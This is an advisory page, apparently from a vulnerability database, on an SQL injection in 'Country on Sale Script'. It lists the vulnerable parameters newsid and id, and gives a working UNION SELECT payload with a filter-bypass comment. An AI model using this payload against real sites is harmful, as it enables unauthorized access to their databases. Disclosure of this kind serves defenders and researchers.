logo
DATABASE RESOURCES PRICING ABOUT US

Country on Sale Script - SQL Injection

Description

Country on Sale Script - SQL Injection Country on Sale Script, the presence of the parameter filter is not strict, leading to a sql injection vulnerability, if the other server is turned on the error display, can directly use, if you turn off the error display, you can use time-based blind Google Dork: N/A Injection point: # http://localhost/[PATH]/read_more. php? newsid=[SQL] # http://localhost/[PATH]/countries/index. php? id=[SQL] payload: 13'+/*! 50000union*/+select+1,version(),0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,4,5--+- Test screenshot: ![](https://images.seebug.org/contribute/ac2f4c5b-fa7d-48b3-92b9-daafd848eb32) Other types of injection: ![](https://images.seebug.org/contribute/0ea2706d-7d21-4381-847c-cb0b2523e6dc)